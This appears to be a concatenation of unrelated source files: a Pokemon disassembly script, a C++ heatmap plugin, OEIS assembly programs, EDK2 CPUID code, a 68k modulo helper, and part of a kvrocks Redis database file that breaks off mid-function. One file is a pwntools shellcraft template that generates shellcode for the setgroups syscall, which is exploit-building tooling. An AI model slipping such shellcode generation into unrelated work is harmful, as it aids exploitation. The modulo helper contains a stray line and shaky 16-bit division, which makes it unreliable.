00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
CeladonDiner_Script:
call EnableAutoTextBoxDrawing
ret
CeladonDiner_TextPointers:
dw CeladonDinerText1
dw CeladonDinerText2
dw CeladonDinerText3
dw CeladonDinerText4
dw CeladonDinerText5
CeladonDinerText1:
text_far _CeladonDinerText1
text_end
CeladonDinerText2:
text_far _CeladonDinerText2
text_end
CeladonDinerText3:
text_far _CeladonDinerText3
text_end
CeladonDinerText4:
text_far _CeladonDinerText4
text_end
CeladonDinerText5:
text_asm
CheckEvent EVENT_GOT_COIN_CASE
jr nz, .got_item
ld hl, CeladonDinerText_491a7
call PrintText
lb bc, COIN_CASE, 1
call GiveItem
jr nc, .bag_full
SetEvent EVENT_GOT_COIN_CASE
ld hl, ReceivedCoinCaseText
call PrintText
jr .done
.bag_full
ld hl, CoinCaseNoRoomText
call PrintText
jr .done
.got_item
ld hl, CeladonDinerText_491b7
call PrintText
.done
jp TextScriptEnd
CeladonDinerText_491a7:
text_far _CeladonDinerText_491a7
text_end
ReceivedCoinCaseText:
text_far _ReceivedCoinCaseText
sound_get_key_item
text_end
CoinCaseNoRoomText:
text_far _CoinCaseNoRoomText
text_end
CeladonDinerText_491b7:
text_far _CeladonDinerText_491b7
text_end
|
#include "plugins\ColorMap\ColorMapBuilder.h"
#include <sstream>
#include <vector>
// DPTK headers
#include "Algorithm.h"
#include "Geometry.h"
#include "Global.h"
#include "Image.h"
#include "BindingsOpenCV.h"
// Poco header needed for the macros below
#include <Poco/ClassLibrary.h>
// Declare that this object has AlgorithmBase subclasses
// and declare each of those sub-classes
POCO_BEGIN_MANIFEST(sedeen::algorithm::AlgorithmBase)
POCO_EXPORT_CLASS(sedeen::algorithm::ColorMapBuilder)
POCO_END_MANIFEST
namespace sedeen {
namespace algorithm {
ColorMapBuilder::ColorMapBuilder()
:xscale_(1.0),
yscale_(1.0),
transparency_(),
display_area_(),
openFileDialogParam_(),
display_result_(){
}
ColorMapBuilder::~ColorMapBuilder() {
}
void ColorMapBuilder::run() {
image::RawImage outputImage(downsample_size_, Color(ColorSpace::RGBA_8));
outputImage.fill(0);
if(parametersChanged()) {
creatHeatMap(outputImage);
auto source_region = image()->getFactory()->getLevelRegion(0);
display_result_.update(outputImage, source_region);
}
}
void ColorMapBuilder::creatHeatMap(image::RawImage& outputImage)
{
if ( selectedFileTobeProcessed_.empty() )
{
sedeen::algorithm::parameter::OpenFileDialog::DataType openFileDialogDataType = openFileDialogParam_;
selectedFileTobeProcessed_ = openFileDialogDataType[0].getFilename();
if (!openFileDialogParam_.isUserDefined() || selectedFileTobeProcessed_.empty())
{
/*msgBox.setText("Out put directory not set.");
int ret = msgBox.exec();*/
throw std::runtime_error("Please select a directory to save tiles!");
//MessageBox(nullptr, LPCSTR("Please select a directory to save tiles!"), LPCSTR("Notification"), MB_OKCANCEL);
}
}
std::string path_to_image =
image()->getMetaData()->get(image::StringTags::SOURCE_DESCRIPTION, 0);
auto source_factory = image()->getFactory();
auto smallest_level = source_factory->getNumLevels() - 1;
auto smallest_region = source_factory->getLevelRegion(smallest_level);
auto smallest_size = size(smallest_region);
auto largest_region = source_factory->getLevelRegion(0);
image::tile::Compositor compositor(source_factory);
outputImage = compositor.getImage(largest_region, downsample_size_);
float ratio_intensity = 150.0f;
points_.clear();
meshGrid_= cv::Mat();
meshGrid_ = cv::Mat(downsample_size_.height(), downsample_size_.width(), CV_32FC1, cv::Scalar(0));
MeshGridBuilder * mBuilder = new MeshGridBuilder(path_to_image, xscale_, yscale_, downsample_size_);
mBuilder->creatMeshGrid(selectedFileTobeProcessed_, points_, meshGrid_);
delete mBuilder;
float g_max_transparency = double(transparency_)/100.0f;
cv::Mat g_heatmap = cv::Mat::zeros(downsample_size_.height(), downsample_size_.width(), CV_32FC1);
g_heatmap = meshGrid_.clone();
cv::Mat temp_map;
if(!g_heatmap.empty()){
cv::blur(g_heatmap, temp_map, cv::Size(13, 13));
}
cv::Mat opencvMap, opencvColor;
double min, max;
cv::minMaxLoc(temp_map, &min, &max);
cv::normalize(temp_map, opencvMap, 0, (int)255*max, cv::NORM_MINMAX, CV_8UC1);
cv::applyColorMap(opencvMap, opencvColor, cv::COLORMAP_JET);
cv::imwrite("opencvColor.png", opencvColor);
image::Iterator it = getIterator(image(), largest_region, downsample_size_);
while(!it.finished())
{
auto position = Point(it.x(), it.y());
if(smallest_region.contains(position) && (!g_heatmap.empty())) {
const float heat_mix = g_heatmap.at<float>(cv::Point(it.x(), it.y()));
// in BGR
const cv::Vec3b i_color((unsigned char)it.getComponent(2),
(unsigned char)it.getComponent(1),
(unsigned char)it.getComponent(0));
const cv::Vec3b heat_color = opencvColor.at<cv::Vec3b>(cv::Point(it.x(), it.y()));
const float heat_mix2 = std::min(heat_mix, g_max_transparency);
const cv::Vec3b final_color = interpolate(i_color, heat_color, heat_mix2);
for (int j=0; j<3; j++){
outputImage.setValue(it.x(), it.y(), j, final_color[2-j]);
}
}
it++;
}
}
void ColorMapBuilder::init(const image::ImageHandle& input_image) {
if (isNull(input_image)) return;
// Create system parameter - provide information about current view in UI
display_area_ = createDisplayAreaParameter(*this);
// Bind display result image to UI
display_result_ = createImageResult(*this, "Final Image");
transparency_ = createIntegerParameter( // use the creation function
*this, // reference to the algorithm
"Transparency", // name
"Set the max transparency of the overly heatmap", // description
60, // default value
0, // minimum allowed value
100, // maximum allowed value
false); // optional or not
file::FileDialogOptions fileDialogOptions;
file::FileDialogFilter fileDialogFilter;
fileDialogFilter.name = "Comma-separated text file (*.csv)";
fileDialogOptions.filters.push_back(fileDialogFilter);
openFileDialogParam_ = sedeen::algorithm::createOpenFileDialogParameter(*this,
"Directory To open the probability file",
"description",
fileDialogOptions,
false);
//Determind the processed image size
auto source_factory = image()->getFactory();
auto smallest_level = source_factory->getNumLevels() - 1;
auto smallest_region = source_factory->getLevelRegion(smallest_level);
auto smallest_size = size(smallest_region);
auto largest_region = source_factory->getLevelRegion(0);
auto largest_size = size(largest_region);
double ratio = 0.6; // how to find the optimal scale factor
xscale_ = (double)(ratio*smallest_size.width())/(double)largest_size.width();
yscale_ = (double)(ratio*smallest_size.height())/(double)largest_size.height();
downsample_size_ = sedeen::Size(ratio*smallest_size.width(), ratio*smallest_size.height());
}
bool ColorMapBuilder::parametersChanged() {
return transparency_.isChanged() || display_area_.isChanged();
}
cv::Vec3b ColorMapBuilder::interpolate(const cv::Vec3b color1, const cv::Vec3b color2, const float value)
{
uchar b = cv::saturate_cast<uchar>(round((1.0 - value)*color1.val[0] + value*color2.val[0]));
uchar g = cv::saturate_cast<uchar>(round((1.0 - value)*color1.val[1] + value*color2.val[1]));
uchar r = cv::saturate_cast<uchar>(round((1.0 - value)*color1.val[2] + value*color2.val[2]));
return cv::Vec3b(b, g, r);
}
double ColorMapBuilder::round(double val)
{
return floor(val + 0.5);
}
} // namespace algorithm
} // namespace sedeen
|
; A233211: Number of n X 2 0..5 arrays with no element x(i,j) adjacent to value 5-x(i,j) horizontally or antidiagonally, top left element zero, and 1 appearing before 2 3 and 4, and 2 appearing before 3 in row major order.
; 2,23,452,10313,249062,6147803,152986472,3818284493,95399716682,2384476356383,59607259863692,1490139655179473,37253114806771502,931324481014849763,23283081522981304112,582076763553023143253,14551916618131993445522,363797893217057569915943,9094947130300258851899732,227373676456370847733503833,5684341895199050581261690742,142108547234084279022859122923,3552713679539079105993329762552,88817841976659726823629909269213,2220446049310137913154917718579162,55511151231796250511950472846118703
mul $0,2
seq $0,87439 ; Expansion of (1-4x)/((1-x)(1-3x)(1-5x)).
add $0,1
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2008, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; CpuIdEx.Asm
;
; Abstract:
;
; AsmCpuidEx function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; UINT32
; EFIAPI
; AsmCpuidEx (
; IN UINT32 RegisterInEax,
; IN UINT32 RegisterInEcx,
; OUT UINT32 *RegisterOutEax OPTIONAL,
; OUT UINT32 *RegisterOutEbx OPTIONAL,
; OUT UINT32 *RegisterOutEcx OPTIONAL,
; OUT UINT32 *RegisterOutEdx OPTIONAL
; )
;------------------------------------------------------------------------------
global ASM_PFX(AsmCpuidEx)
ASM_PFX(AsmCpuidEx):
push rbx
mov eax, ecx
mov ecx, edx
push rax ; save Index on stack
cpuid
mov r10, [rsp + 0x38]
test r10, r10
jz .0
mov [r10], ecx
.0:
mov rcx, r8
jrcxz .1
mov [rcx], eax
.1:
mov rcx, r9
jrcxz .2
mov [rcx], ebx
.2:
mov rcx, [rsp + 0x40]
jrcxz .3
mov [rcx], edx
.3:
pop rax ; restore Index to rax as return value
pop rbx
ret
|
<%
from pwnlib.shellcraft.thumb.linux import syscall
%>
<%page args="n, groups"/>
<%docstring>
Invokes the syscall setgroups. See 'man 2 setgroups' for more information.
Arguments:
n(size_t): n
groups(gid_t): groups
</%docstring>
${syscall('SYS_setgroups', n, groups)}
|
; A037500: Base 7 digits are, in order, the first n terms of the periodic sequence with initial period 1,0,2.
; Submitted by Christian Krause
; 1,7,51,358,2506,17544,122809,859663,6017643,42123502,294864514,2064051600,14448361201,101138528407,707969698851,4955787891958,34690515243706,242833606705944,1699835246941609
mov $2,1
lpb $0
sub $0,1
add $1,$2
mul $1,7
add $2,11
mod $2,3
lpe
add $1,$2
mov $0,$1
|
.386P
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC _f ;f
_TEXT SEGMENT
_f PROC NEAR ;f
push ebp
mov ebp, esp
push OFFSET FLAT:$SG0
pop eax
jmp $uscita
$uscita:
pop ebp
ret
_f ENDP ;f
_TEXT ENDS
_DATA SEGMENT
$SG0 DB 'Hello World', 00H, 00H
_DATA ENDS
END
|
;===============================================================================
;modulo.asm
;===============================================================================
;because this '%' is not defined in vbcc68k, must write it myself
;
;Had to pull out the C99 definition:
;
;https://stackoverflow.com/questions/11720656/modulo-operation-with-negative-numbers
;
;C99 requires that when a/b is representable:
l
;(a/b) * b + a%b shall equal a
;This makes sense, logically. Right?
;Let's see what this leads to:
;Example A. 5/(-3) is -1 => (-1) * (-3) + 5%(-3) = 5
;This can only happen if 5%(-3) is 2.
;Example B. (-5)/3 is -1 => (-1) * 3 + (-5)%3 = -5
;This can only happen if (-5)%3 is -2
;
;-------------------------------------------------------------------------------
;///////////////////////////////////////////////////////////////////////////////
section "BSS",bss
;///////////////////////////////////////////////////////////////////////////////
section "DATA",data
;///////////////////////////////////////////////////////////////////////////////
section "CODE",code
;---------------------------------------
;__lmodu
;
;modulo operator, this is ment to be used by C expressions and not to
;be called explicitly
;
;Calling Convention:
;---------------------------------------
; (clock % 7);
; move.l #7,-(a7)
; move.l _clock,-(a7)
; jsr __lmodu
; addq.w #8,a7
public __lmodu
public __lmods
__lmodu:
__lmods:
link a5,#0
move.l (8,a5),d0
move.l (12,a5),d1
divs d1,d0
swap d0
and.l #$0000FFFF,d0
unlk a5
rts
;---------------------------------------
;Function Name
;
;Description
;
;Calling Convention
;
;---------------------------------------
|
#include "redis_slot.h"
#include "redis_db.h"
#include <ctime>
#include "server.h"
#include "util.h"
namespace Redis {
Database::Database(Engine::Storage *storage, const std::string &ns) {
storage_ = storage;
metadata_cf_handle_ = storage->GetCFHandle("metadata");
db_ = storage->GetDB();
namespace_ = ns;
}
rocksdb::Status Database::GetMetadata(RedisType type, const Slice &ns_key, Metadata *metadata) {
std::string old_metadata;
metadata->Encode(&old_metadata);
std::string bytes;
auto s = GetRawMetadata(ns_key, &bytes);
if (!s.ok()) return s;
metadata->Decode(bytes);
if (metadata->Expired()) {
metadata->Decode(old_metadata);
return rocksdb::Status::NotFound("the key was Expired");
}
if (metadata->Type() != type && (metadata->size > 0 || metadata->Type() == kRedisString)) {
metadata->Decode(old_metadata);
return rocksdb::Status::InvalidArgument("WRONGTYPE Operation against a key holding the wrong kind of value");
}
if (metadata->size == 0) {
metadata->Decode(old_metadata);
return rocksdb::Status::NotFound("no elements");
}
return s;
}
rocksdb::Status Database::GetRawMetadata(const Slice &ns_key, std::string *bytes) {
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
return db_->Get(read_options, metadata_cf_handle_, ns_key, bytes);
}
rocksdb::Status Database::GetRawMetadataByUserKey(const Slice &user_key, std::string *bytes) {
std::string ns_key;
AppendNamespacePrefix(user_key, &ns_key);
return GetRawMetadata(ns_key, bytes);
}
rocksdb::Status Database::Expire(const Slice &user_key, int timestamp) {
std::string ns_key;
AppendNamespacePrefix(user_key, &ns_key);
std::string value;
Metadata metadata(kRedisNone, false);
LockGuard guard(storage_->GetLockManager(), ns_key);
rocksdb::Status s = db_->Get(rocksdb::ReadOptions(), metadata_cf_handle_, ns_key, &value);
if (!s.ok()) return s;
metadata.Decode(value);
if (metadata.Expired()) {
return rocksdb::Status::NotFound("the key was expired");
}
if (metadata.Type() != kRedisString && metadata.size == 0) {
return rocksdb::Status::NotFound("no elements");
}
if (metadata.expire == timestamp) return rocksdb::Status::OK();
char *buf = new char[value.size()];
memcpy(buf, value.data(), value.size());
// +1 to skip the flags
EncodeFixed32(buf + 1, (uint32_t) timestamp);
rocksdb::WriteBatch batch;
WriteBatchLogData log_data(kRedisNone, {std::to_string(kRedisCmdExpire)});
batch.PutLogData(log_data.Encode());
batch.Put(metadata_cf_handle_, ns_key, Slice(buf, value.size()));
s = storage_->Write(rocksdb::WriteOptions(), &batch);
delete[]buf;
return s;
}
rocksdb::Status Database::Del(const Slice &user_key) {
std::string ns_key;
AppendNamespacePrefix(user_key, &ns_key);
std::string value;
LockGuard guard(storage_->GetLockManager(), ns_key);
rocksdb::Status s = db_->Get(rocksdb::ReadOptions(), metadata_cf_handle_, ns_key, &value);
if (!s.ok()) return s;
Metadata metadata(kRedisNone, false);
metadata.Decode(value);
if (metadata.Expired()) {
return rocksdb::Status::NotFound("the key was expired");
}
return storage_->Delete(rocksdb::WriteOptions(), metadata_cf_handle_, ns_key);
}
rocksdb::Status Database::Exists(const std::vector<Slice> &keys, int *ret) {
*ret = 0;
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
rocksdb::Status s;
std::string ns_key, value;
for (const auto &key : keys) {
AppendNamespacePrefix(key, &ns_key);
s = db_->Get(read_options, metadata_cf_handle_, ns_key, &value);
if (s.ok()) {
Metadata metadata(kRedisNone, false);
metadata.Decode(value);
if (!metadata.Expired()) *ret += 1;
}
}
return rocksdb::Status::OK();
}
rocksdb::Status Database::TTL(const Slice &user_key, int *ttl) {
std::string ns_key;
AppendNamespacePrefix(user_key, &ns_key);
*ttl = -2; // ttl is -2 when the key does not exist or expired
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
std::string value;
rocksdb::Status s = db_->Get(read_options, metadata_cf_handle_, ns_key, &value);
if (!s.ok()) return s.IsNotFound() ? rocksdb::Status::OK() : s;
Metadata metadata(kRedisNone, false);
metadata.Decode(value);
*ttl = metadata.TTL();
return rocksdb::Status::OK();
}
void Database::GetKeyNumStats(const std::string &prefix, KeyNumStats *stats) {
Keys(prefix, nullptr, stats);
}
void Database::Keys(std::string prefix, std::vector<std::string> *keys, KeyNumStats *stats) {
uint16_t slot_id = 0;
std::string ns_prefix, ns, user_key, value;
if (namespace_ != kDefaultNamespace || keys != nullptr) {
if (storage_->IsSlotIdEncoded()) {
ComposeNamespaceKey(namespace_, "", &ns_prefix, false);
if (!prefix.empty()) {
PutFixed16(&ns_prefix, slot_id);
ns_prefix.append(prefix);
}
} else {
AppendNamespacePrefix(prefix, &ns_prefix);
}
}
uint64_t ttl_sum = 0;
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
read_options.fill_cache = false;
auto iter = db_->NewIterator(read_options, metadata_cf_handle_);
while (true) {
ns_prefix.empty() ? iter->SeekToFirst() : iter->Seek(ns_prefix);
for (; iter->Valid(); iter->Next()) {
if (!ns_prefix.empty() && !iter->key().starts_with(ns_prefix)) {
break;
}
Metadata metadata(kRedisNone, false);
value = iter->value().ToString();
metadata.Decode(value);
if (metadata.Expired()) {
if (stats) stats->n_expired++;
continue;
}
if (stats) {
int32_t ttl = metadata.TTL();
stats->n_key++;
if (ttl != -1) {
stats->n_expires++;
if (ttl > 0) ttl_sum += ttl;
}
}
if (keys) {
ExtractNamespaceKey(iter->key(), &ns, &user_key, storage_->IsSlotIdEncoded());
keys->emplace_back(user_key);
}
}
if (!storage_->IsSlotIdEncoded()) break;
if (prefix.empty()) break;
if (++slot_id >= HASH_SLOTS_SIZE) break;
ComposeNamespaceKey(namespace_, "", &ns_prefix, false);
PutFixed16(&ns_prefix, slot_id);
ns_prefix.append(prefix);
}
if (stats && stats->n_expires > 0) {
stats->avg_ttl = ttl_sum / stats->n_expires;
}
delete iter;
}
rocksdb::Status Database::Scan(const std::string &cursor,
uint64_t limit,
const std::string &prefix,
std::vector<std::string> *keys,
std::string *end_cursor) {
end_cursor->clear();
uint64_t cnt = 0;
uint16_t slot_id = 0, slot_start = 0;
std::string ns_prefix, ns_cursor, ns, user_key, value, index_key;
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
read_options.fill_cache = false;
auto iter = db_->NewIterator(read_options, metadata_cf_handle_);
AppendNamespacePrefix(cursor, &ns_cursor);
if (storage_->IsSlotIdEncoded()) {
slot_start = cursor.empty() ? 0 : GetSlotNumFromKey(cursor);
ComposeNamespaceKey(namespace_, "", &ns_prefix, false);
if (!prefix.empty()) {
PutFixed16(&ns_prefix, slot_start);
ns_prefix.append(prefix);
}
} else {
AppendNamespacePrefix(prefix, &ns_prefix);
}
if (!cursor.empty()) {
iter->Seek(ns_cursor);
if (iter->Valid()) {
iter->Next();
}
} else if (ns_prefix.empty()) {
iter->SeekToFirst();
} else {
iter->Seek(ns_prefix);
}
slot_id = slot_start;
while (true) {
for (; iter->Valid() && cnt < limit; iter->Next()) {
if (!ns_prefix.empty() && !iter->key().starts_with(ns_prefix)) {
break;
}
Metadata metadata(kRedisNone, false);
value = iter->value().ToString();
metadata.Decode(value);
if (metadata.Expired()) continue;
ExtractNamespaceKey(iter->key(), &ns, &user_key, storage_->IsSlotIdEncoded());
keys->emplace_back(user_key);
cnt++;
}
if (!storage_->IsSlotIdEncoded() || prefix.empty()) {
if (!keys->empty()) {
end_cursor->append(user_key);
}
break;
}
if (cnt >= limit) {
end_cursor->append(user_key);
break;
}
if (++slot_id >= HASH_SLOTS_SIZE) {
break;
}
if (slot_id > slot_start + HASH_SLOTS_MAX_ITERATIONS) {
if (keys->empty()) {
if (iter->Valid()) {
ExtractNamespaceKey(iter->key(), &ns, &user_key, storage_->IsSlotIdEncoded());
auto res = std::mismatch(prefix.begin(), prefix.end(), user_key.begin());
if (res.first == prefix.end()) {
keys->emplace_back(user_key);
}
end_cursor->append(user_key);
}
} else {
end_cursor->append(user_key);
}
break;
}
ComposeNamespaceKey(namespace_, "", &ns_prefix, false);
PutFixed16(&ns_prefix, slot_id);
ns_prefix.append(prefix);
iter->Seek(ns_prefix);
}
delete iter;
return rocksdb::Status::OK();
}
rocksdb::Status Database::RandomKey(const std::string &cursor, std::string *key) {
key->clear();
std::string end_cursor;
std::vector<std::string> keys;
auto s = Scan(cursor, 60, "", &keys, &end_cursor);
if (!s.ok()) {
return s;
}
if (keys.empty() && !cursor.empty()) {
// if reach the end, restart from begining
auto s = Scan("", 60, "", &keys, &end_cursor);
if (!s.ok()) {
return s;
}
}
if (!keys.empty()) {
unsigned int seed = time(NULL);
*key = keys.at(rand_r(&seed) % keys.size());
}
return rocksdb::Status::OK();
}
rocksdb::Status Database::FlushDB() {
std::string prefix, begin_key, end_key;
ComposeNamespaceKey(namespace_, "", &prefix, false);
auto s = FindKeyRangeWithPrefix(prefix, &begin_key, &end_key);
if (!s.ok()) {
return rocksdb::Status::OK();
}
s = storage_->DeleteRange(begin_key, end_key);
if (!s.ok()) {
return s;
}
return rocksdb::Status::OK();
}
rocksdb::Status Database::FlushAll() {
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
read_options.fill_cache = false;
auto iter = db_->NewIterator(read_options, metadata_cf_handle_);
iter->SeekToFirst();
if (!iter->Valid()) {
delete iter;
return rocksdb::Status::OK();
}
auto first_key = iter->key().ToString();
iter->SeekToLast();
if (!iter->Valid()) {
delete iter;
return rocksdb::Status::OK();
}
auto last_key = iter->key().ToString();
auto s = storage_->DeleteRange(first_key, last_key);
if (!s.ok()) {
delete iter;
return s;
}
delete iter;
return rocksdb::Status::OK();
}
rocksdb::Status Database::Dump(const Slice &user_key, std::vector<std::string> *infos) {
infos->clear();
std::string ns_key;
AppendNamespacePrefix(user_key, &ns_key);
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
std::string value;
rocksdb::Status s = db_->Get(read_options, metadata_cf_handle_, ns_key, &value);
if (!s.ok()) return s.IsNotFound() ? rocksdb::Status::OK() : s;
Metadata metadata(kRedisNone, false);
metadata.Decode(value);
infos->emplace_back("namespace");
infos->emplace_back(namespace_);
infos->emplace_back("type");
infos->emplace_back(RedisTypeNames[metadata.Type()]);
infos->emplace_back("version");
infos->emplace_back(std::to_string(metadata.version));
infos->emplace_back("expire");
infos->emplace_back(std::to_string(metadata.expire));
infos->emplace_back("size");
infos->emplace_back(std::to_string(metadata.size));
infos->emplace_back("created_at");
struct timeval created_at = metadata.Time();
std::time_t tm = created_at.tv_sec;
char time_str[25];
if (!std::strftime(time_str, sizeof(time_str), "%Y-%m-%d %H:%M:%S", std::localtime(&tm))) {
return rocksdb::Status::TryAgain("Fail to format local time_str");
}
std::string created_at_str(time_str);
infos->emplace_back(created_at_str + "." + std::to_string(created_at.tv_usec));
if (metadata.Type() == kRedisList) {
ListMetadata metadata(false);
GetMetadata(kRedisList, ns_key, &metadata);
if (!s.ok()) return s.IsNotFound() ? rocksdb::Status::OK() : s;
infos->emplace_back("head");
infos->emplace_back(std::to_string(metadata.head));
infos->emplace_back("tail");
infos->emplace_back(std::to_string(metadata.tail));
}
return rocksdb::Status::OK();
}
rocksdb::Status Database::Type(const Slice &user_key, RedisType *type) {
std::string ns_key;
AppendNamespacePrefix(user_key, &ns_key);
*type = kRedisNone;
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
std::string value;
rocksdb::Status s = db_->Get(read_options, metadata_cf_handle_, ns_key, &value);
if (!s.ok()) return s.IsNotFound() ? rocksdb::Status::OK() : s;
Metadata metadata(kRedisNone, false);
metadata.Decode(value);
*type = metadata.Type();
return rocksdb::Status::OK();
}
void Database::AppendNamespacePrefix(const Slice &user_key, std::string *output) {
ComposeNamespaceKey(namespace_, user_key, output, storage_->IsSlotIdEncoded());
}
rocksdb::Status Database::FindKeyRangeWithPrefix(const std::string &prefix,
std::string *begin,
std::string *end,
rocksdb::ColumnFamilyHandle *cf_handle) {
if (cf_handle == nullptr) {
cf_handle = metadata_cf_handle_;
}
begin->clear();
end->clear();
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
read_options.fill_cache = false;
auto iter = db_->NewIterator(read_options, cf_handle);
iter->Seek(prefix);
if (!iter->Valid() || !iter->key().starts_with(prefix)) {
delete iter;
return rocksdb::Status::NotFound();
}
*begin = iter->key().ToString();
// it's ok to increase the last char in prefix as the boundary of the prefix
// while we limit the namespace last char shouldn't be larger than 128.
std::string next_prefix = prefix;
char last_char = next_prefix.back();
last_char++;
next_prefix.pop_back();
next_prefix.push_back(last_char);
iter->SeekForPrev(next_prefix);
int max_prev_limit = 128; // prevent unpredicted long while loop
int i = 0;
// reversed seek the key til with prefix or end of the iterator
while (i++ < max_prev_limit && iter->Valid() && !iter->key().starts_with(prefix)) {
iter->Prev();
}
if (!iter->Valid() || !iter->key().starts_with(prefix)) {
delete iter;
return rocksdb::Status::NotFound();
}
*end = iter->key().ToString();
delete iter;
return rocksdb::Status::OK();
}
rocksdb::Status SubKeyScanner::Scan(RedisType type,
const Slice &user_key,
const std::string &cursor,
uint64_t limit,
const std::string &subkey_prefix,
std::vector<std::string> *keys,
std::vector<std::string> *values) {
uint64_t cnt = 0;
std::string ns_key;
AppendNamespacePrefix(user_key, &ns_key);
Metadata metadata(type, false);
rocksdb::Status s = GetMetadata(type, ns_key, &metadata);
if (!s.ok()) return s;
LatestSnapShot ss(db_);
rocksdb::ReadOptions read_options;
read_options.snapshot = ss.GetSnapShot();
read_options.fill_cache = false;
auto iter = db_->NewIterator(read_options);
std::string match_prefix_key;
if (!subkey_prefix.empty()) {
